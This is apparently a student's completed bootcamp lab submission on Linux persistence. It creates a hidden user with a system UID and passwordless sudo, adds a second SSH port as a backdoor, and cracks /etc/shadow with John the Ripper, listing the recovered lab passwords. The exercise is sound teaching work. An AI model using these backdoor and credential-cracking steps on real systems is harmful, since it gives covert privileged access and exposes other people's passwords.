Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
sudo adduser --no-create-home sysd
```

2. Give your secret user a password.

```
sudo passwd sysd (however, when we created sysd we were prompted to add a password then)
```

3. Give your secret user a system UID < 1000.

```
usermod -u 166 sysd
```

4. Give your secret user the same GID.

```
groupmod -g 166 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
As root run sudo visudo on sudoers and add: sysd ALL=(ALL) NOPASSWD:ALL
underneath root
```

6. Test that `sudo` access works without your password.

```
su sysd
sudo -l
sudo nano <file>
sudo less sudoers
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
Switch back to root:sudo su
then: sudo nano /etc/ssh/sshd_config
Add “Port 2222” under “Port 22” in the config file.
Exit and save
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
sudo /etc/init.d/ssh restart
```

2. Exit the `root` account.

```
su sysd
Then run:exit
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
sudo su

sudo john /etc/shadow

Cracked passwords:

computer (stallman)
freedom  (babbage)
trustno1 (mitnick)
dragon   (lovelace)
lakers   (turing)
passw0rd (sysadmin)
Goodluck! (student)
```